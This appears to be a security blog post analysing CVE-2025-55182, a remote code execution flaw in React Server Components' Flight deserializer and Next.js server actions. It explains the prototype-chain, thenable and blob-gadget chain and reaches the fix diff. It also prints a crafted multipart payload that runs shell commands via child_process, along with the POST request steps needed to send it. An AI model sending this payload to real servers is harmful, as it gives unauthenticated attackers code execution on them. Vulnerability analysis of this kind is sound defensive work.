Published on

Understanding CVE-2025-55182: How React Server Components Turned into Remote Code Execution

Authors
  • avatar
    Name
    Younes ZADI
    Twitter

CVE-2025-55182 is a critical RCE (Remote Code Execution) vulnerability in React Server Components (RSC) and the React “Flight” protocol, also affecting frameworks like Next.js that implement it. It’s rated CVSS 10.0 and allows an unauthenticated attacker to run arbitrary JavaScript on your server just by sending a crafted HTTP request.

You can find other POCs but they all use favourable environment with developper mistake code to show the exploit, but in this article, we will use a real-world example with nextjs app created using the create-next-app command. There is no mistake on the app used for the exploit, it's a real-world example.

This article explains how the exploit works, using my POC, we manage to execute remote code on the server and access the environment variables in the public folder.

1. Server Actions / Server Functions (React / Next.js)

React 19 introduced Server Functions (aka Server Actions in Next.js). They’re basically “call this server-side function from the client as if it were a normal function”.

Very simplified Next.js-style example:

// app/actions.ts
'use server'

export async function addMessage(message: string) {
  // runs on the server
  await db.insert({ message })
}

On the client:

'use client'
import { addMessage } from './actions'

async function handleSubmit() {
  await addMessage('Hello!')
}

Under the hood, this is not magic:

  1. The client makes an HTTP request (POST) to the server.

  2. It includes serialized arguments in a special format (React Flight protocol).

  3. The server deserializes that payload, reconstructs the arguments, and calls addMessage(...).

High-level:

High-level server function

The vulnerability lives in the deserialization step (React Flight), before the app code runs.

2. The React Flight Protocol and “Chunks”

The Flight protocol represents data as chunks, each chunk identified by an index: "0", "1", "2", etc. The client sends them as form fields (multipart/form-data).

A simplified example from the original write-up:

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}
  • Chunk "2" is JSON with {"fruitName": "cherry"}.

  • Chunk "1" references "2" using $2:fruitName to say “take fruitName from chunk 2”.

  • Chunk "0" references chunk "1" using $1.

After deserialization, the server will reconstruct:

{ object: 'fruit', name: 'cherry' }
Flight protocol

The string markers like $1, $2:fruitName tell React “resolve this reference when deserializing”.

Key idea:

The server trusts these markers and walks whatever path you give it inside the object — and that’s where the trouble starts.

3. A subtle bug: reading from the prototype (proto)

In JavaScript, every object has a prototype: obj.__proto__. React’s deserializer, when resolving things like $2:fruitName, basically does:

lookup(chunk2, 'fruitName')

Before the patch, that lookup didn’t check whether "fruitName" is an own property of the object — so you could ask for magic properties on the prototype.

For example, you could construct a reference like:

"$1:__proto__:constructor:constructor"

Meaning:

  1. $1 → start from chunk 1

  2. __proto__ → go to its prototype (e.g. Object.prototype)

  3. constructor → get the constructor function of that prototype (e.g. Object)

  4. constructor again → get the constructor of the constructor → Function

The write-up shows a simple payload:

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

That deserializes to the Function constructor:

[Function: Function]

Why is that bad? Because:

const F = Function // "Function constructor"
F('return process.env')() // basically eval

The Function constructor is essentially a controlled version of eval: it takes a string and turns it into executable code.

So:

  • Bug #1 is: the deserializer lets you walk the prototype chain using __proto__.

  • That gives you a handle to Function.

We’re not executing anything yet, but we now have access to the most dangerous object in JavaScript.

4. Thenables and Next.js calling your function for you

In Next.js’s pre-patch code, the form data was decoded like this (simplified):

// action-handler.ts (before patch)
boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, { temporaryReferences })

Key detail:

  • decodeReplyFromBusboy returns whatever the deserializer yields.

  • If you return an object with a then method, JS treats it like a Promise-like object (thenable).

  • await will call value.then(resolve, reject).

So if chunk "0" deserializes to:

{
  then: Function // our Function constructor from before
}

The await will effectively do:

Function(resolve, reject)

This immediately fails with a syntax error (the Function constructor expected a string, got functions),

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) { ... }

but it proves a point:

We can inject any value into a then property that will be called.

So:

  • Bug #2: await is being used on untrusted data from the deserializer, which can be turned into a malicious thenable.

Still, we don’t yet have a clean way to pass a string of our choice into the Function constructor as code. For that, the exploit chain gets clever.

5. The “fake chunk” trick and $@ raw references

React’s Flight protocol has a special $@ syntax: $@0, $@1, etc.

It returns the raw chunk object, not the resolved value:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)),
    getChunk(response, obj)
  );

The exploit uses this to make chunk 0 reference itself as a “raw chunk” from another chunk.

Example (simplified):

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

High-level idea:

  • Chunk 0’s "then" property is overwritten with Chunk.prototype.then (again using __proto__ trick).

  • Chunk 1 contains a reference to $@0, the raw chunk 0 object.

During deserialization, the chain makes React call Chunk.prototype.then with our crafted “fake” chunk.

Recall: Chunk.prototype.then looks roughly like:

Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case 'resolved_model':
      initializeModelChunk(this)
  }
  // ...
}

So if we set:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model"
}

…then Chunk.prototype.then will call initializeModelChunk(this) on our fake chunk.

Visualizing this:

Fake chunk

Now we’re inside initializeModelChunk with a fully attacker-controlled chunk.

6. Second-pass deserialization and the $B “blob” gadget

Inside initializeModelChunk, React does a second pass of deserialization:

function initializeModelChunk(chunk) {
  // ...
  var rawModel = JSON.parse(resolvedModel),
    value = reviveModel(chunk._response, { '': rawModel }, '', rawModel, rootReference)
  // ...
}

Important details:

  • chunk.value (a string) is parsed with JSON.parserawModel.

  • reviveModel is called with:

    • chunk._response as response

    • The parsed model

  • This is a second “revival” pass that:

    • Walks through the model

    • Resolves reference markers like $1, $B0, etc.

Among those markers, there’s a special "$B" case that handles blob data:

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

So if in our model we have something like "$B0", React will do:

response._formData.get(response._prefix + '0')

Now comes the nasty part:

Because initializeModelChunk passes in chunk._response, we control response. So we can craft:

{
  "then": "$B0"
}

…and we define chunk._response as an object with:

  • `_prefix: a string we control

  • _formData.get: a function we control (we’ll point it to Function again)

The PoC’s crafted chunk (conceptually) looks like:

const crafted_chunk = {
  then: '$1:__proto__:then',
  status: 'resolved_model',
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: "process.mainModule.require('child_process').execSync('<COMMAND>');",
    _formData: {
      get: '$1:constructor:constructor', // → Function constructor
    },
  },
}

When the $B0 marker is resolved:

response._formData.get(response._prefix + '0')
// becomes something like:
Function("process.mainModule.require('child_process').execSync('<COMMAND>');0")

This returns a new function object whose body is our attacker-controlled code.

parseModelString returns that function as the .then of our crafted chunk, and we are still in the same promise chain, so it will be awaited → the function gets executed.

Summerizing the chain:

Chain

Every step is just React/Next.js doing their normal thing — but the data has been twisted so that the normal behavior becomes an exploit.

7. How exploit.js ties it together

Our exploit.js script builds the crafted chunk object and sends it to a vulnerable server.

At a high level, it does:

  1. Build the crafted_chunk object with:
  • then, status, reason, value, _response._prefix, _response._formData.get

  • _response._prefix contains the code you want to run (for testing, something like process.mainModule.require('child_process').execSync('calc'); on Windows, or another command on Linux).

  1. Stringify it and put it in the "0" field of a FormData / multipart/form-data request.

  2. Put "1" as "\"$@0\"" (a string containing $@0) to create the raw self-reference.

  3. Send a POST request to the Next.js / React endpoint, with headers like:

  • Next-Action: <some_id>

  • Accept: text/x-component

  1. The server deserializes this payload, hits the exploit chain, and executes the code inside _prefix.

The script itself is just plumbing:

  • const FormData = require('form-data') (or the built-in Web FormData in Node 22+)

  • const fetch = ...

  • form.append("0", JSON.stringify(crafted_chunk));

  • form.append("1", '"$@0"');

  • fetch(BASE_URL, { method: 'POST', body: form, headers: { 'Next-Action': 'x', 'Accept': 'text/x-component' } });

Important defensive note: The point of explaining this is to understand and defend, not to give a ready-made weapon. The exact details (endpoint URL, action id, OS command, etc.) are specific to each app and environment.

8. Why this triggers before any app-level checks

One of the scariest parts of CVE-2025-55182 is that all of this happens before Next.js ever checks what action you’re calling.

The exploitation happens:

  • Inside React Flight deserialization

  • While Next.js is still trying to parse the incoming form data for a server action

  • Before validation like “does this action exist?” or “is this user allowed to call it?”

In other words, any route that accepts the RSC / server action protocol (e.g. through Next-Action or similar headers) is potentially vulnerable, even if your app logic never uses the action id that’s passed.

9. How React / Next.js fixed it

The core fix in React is to stop returning prototype properties when resolving references. They added an hasOwnProperty check when reading module exports:

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
}

Combined with other hardening around the Flight protocol and Next.js’s request handling, this closes the main prototype escape and call-gadget chain.

According to the React advisory, the vulnerability is present in React 19.0, 19.1.0, 19.1.1, and 19.2.0 in packages like react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack, and is fixed starting with React 19.2.1

Next.js assigned its own identifier (CVE-2025-66478) for the framework-level impact and released patched versions as well